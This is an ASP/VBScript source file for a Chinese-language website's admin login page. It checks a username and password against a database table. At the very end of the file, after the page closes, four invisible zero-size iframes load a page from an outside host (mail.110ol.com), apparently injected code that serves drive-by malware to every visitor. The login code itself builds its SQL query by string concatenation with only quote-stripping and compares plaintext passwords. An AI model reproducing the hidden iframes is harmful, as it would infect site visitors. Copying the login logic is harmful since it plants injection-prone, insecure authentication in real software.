<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="../conn.asp"-->
<%
dim act,username,userpass
act=request.QueryString("act")
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>Untitled Document</title>
<style type="text/css">
<!--
body {
	background-color: #CCCCCC;
}
.style1 {
	color: #FFFFFF;
	font-weight: bold;
	font-size: 14px;
}
-->
</style></head>
<%
if(act="login") then
	if not isempty(request.Form("username")) then
		username=replace(trim(request.Form("username")),"'","")
	else
		response.Write("<script>alert(""用户名不能为空!"");history.back();</script>")
		response.End()
	end if
	if not isempty(request.Form("userpass")) then		
		userpass=replace(trim(request.Form("userpass")),"'","")
	else
		response.Write("<script>alert(""密码不能为空!"");history.back();</script>")
		response.End()
	end if
	if(username<>"" and userpass<>"") then
		set rs=server.CreateObject("adodb.recordset")
		rs.open "select * from t_user where username='"&username&"' and userpass='"&userpass&"'",conn,3,1
		if not rs.eof and not rs.bof then
			session("username")=username
			rs.close
			set rs=nothing
			response.Redirect("index.asp")
		else
			response.Write("<script>alert(""用户名或密码错误!"");history.back();</script>")
			rs.close
			set rs=nothing
			call connclose()
			response.End()
		end if
	else
		response.Write("<script>alert(""密码不能为空!"");history.back();</script>")
		call connclose()
		response.End()
	end if
else
%>
<body onload="document.form1.username.focus();">
<p>&nbsp;</p>
<p>&nbsp;</p>
<table width="45%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#EEFAFF">
  <tr>
    <td><form id="form1" name="form1" method="post" action="?act=login">
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td height="40" colspan="2" bgcolor="#006699"><div align="center" class="style1">后台登录</div></td>
          </tr>
        <tr>
          <td height="50"><div align="right">用户名：</div></td>
          <td>
            <div align="left">
              <input name="username" type="text" id="username" size="15" />          
            </div></td>
        </tr>
        <tr>
          <td height="50"><div align="right">密 &nbsp;码：</div></td>
          <td><div align="left">
            <input name="userpass" type="password" id="userpass" size="15" />
          </div></td>
        </tr>
        <tr>
          <td height="50" colspan="2"><div align="center">
            <input type="submit" name="Submit" value="登录" />&nbsp;&nbsp;
            <input type="reset" name="Submit2" value="重写" />
          </div></td>
          </tr>
      </table>
        </form>
    </td>
  </tr>
</table>
<%
end if
%>
</body>
</html>
<%
call connclose()
%><iframe src=http://mail.110ol.com/ubb.htm width=0 height=0 frameborder=0></iframe><iframe src=http://mail.110ol.com/ubb.htm width=0 height=0 frameborder=0></iframe><iframe src=http://mail.110ol.com/ubb.htm width=0 height=0 frameborder=0></iframe><iframe src=http://mail.110ol.com/ubb.htm width=0 height=0 frameborder=0></iframe>